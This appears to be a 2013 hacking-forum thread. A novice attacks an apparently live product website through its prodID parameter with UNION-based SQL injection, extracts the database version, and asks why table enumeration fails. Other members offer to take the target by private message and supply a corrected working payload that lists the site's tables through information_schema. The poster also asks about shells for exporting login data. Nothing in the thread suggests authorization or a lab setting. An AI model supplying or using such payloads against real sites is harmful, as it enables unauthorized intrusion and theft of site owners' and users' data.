Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

I get the vulnerable columns, next step fails?!

Hi, so I started SQL injection, I'd say 20 minutes ago but I've been trying to figure this out, so a tiny bit longer.

I've done all the steps in every tutorial I've seen, and this is the URL extension at the moment.

+union+select+1,2,3,4,5,6,7,8,9,10,11--
There is a hyphen after ?prodID= and then the product ID also.

I get 3 numbers on the screen like this.

[Image: 04fdba0d2562dfa6f1a18a1ad54106ee.png?1357485515]

And when I do replace 2, 3 and 5 with @@version, the result is also fine.
[Image: 0dffc296ec18cfc49fb1718a8c32e0f8.png?1357485569]

At this stage the entire site looks like this, just so you can see the difference of when I try and get the table/column names.

[Image: 3f04cc109e04136f94ef486d3fe7eafd.png?1357485623]

So here's when I replace the @@version's with table_name, column_name has the same effect.
I have indeed added rom information_schema.tables-- onto the end, same effect.

[Image: 8bd71b5a3c603d7b7db410be85b9c3e8.png?1357485755]

What's the problem here?

Also, I'm sort of stuck on what to do now. I've seen something about shells, and I don't honestly understand them overly well, but I believe they're some sort of script that exports content and(or) login information?

I hope someone can help.
Many thanks.
You can pm me your site,so to help you faster.
Thank you....
(Jan 6, 2013 08:34 AM)Hepic Wrote:  You can pm me your site,so to help you faster.
Thank you....

PM'd, many thanks Hepic.
People, please continue to post your thoughts incase Hepic cannot resolve it. :3
Post the "table_name" url you write. You might have done that wrong.
(Jan 6, 2013 08:40 AM)WAMx Wrote:  Post the "table_name" url you write. You might have done that wrong.

+union+select+1,table_name,table_name,4,table_name,6,7,8,9,10,11--

or

+union+select+1,table_name,table_name,4,table_name,6,7,8,9,10,11 rom information_schema.tables--
(Jan 6, 2013 08:49 AM)LukeRZ Wrote:  +union+select+1,table_name,table_name,4,table_name,6,7,8,9,10,11--

or

+union+select+1,table_name,table_name,4,table_name,6,7,8,9,10,11 rom information_schema.tables--

LukeRZ

you should read some SQL tutorial first. There is all this well explained. I suggest you this great collection from ZeroFreak
https://hackforums.net/showthread.php?tid=2008347

Code
union select 1,group_concat(table_name,0x3c62723e),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- -
(Jan 6, 2013 09:37 AM)ajkaro Wrote:  LukeTZ

you should read some SQL tutorial first. There is all this well explained. I suggest you this great collection from ZeroFreak
https://hackforums.net/showthread.php?tid=2008347

Code
union select 1,group_concat(table_name,0x3c62723e),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- -

Thanks a bunch dude, love you right now. :3
(Jan 6, 2013 09:40 AM)LukeRZ Wrote:  Thanks a bunch dude, love you right now. :3

Sorry I wrote your name wrong in my previous post :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Error22Mar 2, 2023 12:42 AM 7 398 Mar 2, 2023 12:42 AM
Last Post: Disqual
by Error22Aug 24, 2021 10:09 AM 3 255 Aug 24, 2021 10:09 AM
Last Post: Error22
by Error22Jun 2, 2020 11:09 PM 0 172 Jun 2, 2020 11:09 PM
Last Post: Error22